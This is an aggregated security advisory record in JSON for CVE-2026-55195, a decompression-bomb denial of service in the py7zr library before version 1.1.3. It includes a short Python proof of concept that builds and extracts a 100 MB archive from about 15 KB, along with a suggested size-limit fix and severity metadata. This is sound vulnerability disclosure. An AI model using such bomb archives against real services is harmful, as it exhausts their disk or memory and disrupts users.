{"id":"CVE-2026-55195","aliases":["CVE-2026-55195","GHSA-gjrg-mpp7-g774","PYSEC-2026-2972"],"related":[],"kind":"vulnerability","state":"published","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","summary":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","source":"cvelist"},{"lang":"en","text":"py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total > MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.","format":"markdown","source":"ghsa"},{"lang":"es","text":"py7zr es una biblioteca y utilidad basada en Python para dar soporte a la compresión, descompresión, cifrado y descifrado de archivos 7zip. Antes de la 1.1.3, el método Worker.decompress() de py7zr extraía entradas de archivo sin rastrear el tamaño total descomprimido, permitiendo que un archivo .7z manipulado, como un archivo de 15.6 KB que se expande a 100 MB, agotara el disco o la memoria antes de que la extracción finalizara. Este problema se corrigió en la versión 1.1.3.","source":"nvd"}],"published":"2026-06-19T21:16:29.000Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-409"],"affected":[{"ranges":[{"version":"< 1.1.3","status":"affected"}],"vendor":"miurahr","product":"py7zr","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"pysec"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/miurahr/py7zr/commit/28faf107b64374fa5a02bfb93aa2024e281ca97b","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/py7zr","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-gjrg-mpp7-g774","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55195","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-09T14:05:14.472Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55195","url":"https://www.cve.org/CVERecord?id=CVE-2026-55195","licence":"CVE Terms of Use","modified":"2026-07-09T14:06:02.499Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gjrg-mpp7-g774","url":"https://github.com/advisories/GHSA-gjrg-mpp7-g774","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:54.181Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55195","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55195","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2972","url":"https://osv.dev/vulnerability/PYSEC-2026-2972","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:08.003Z"}],"updatedAt":"2026-11-25T22:59:27.439Z","epss":{"score":0.0021,"percentile":0.11831,"date":"2026-12-01T12:00:22.000Z"}}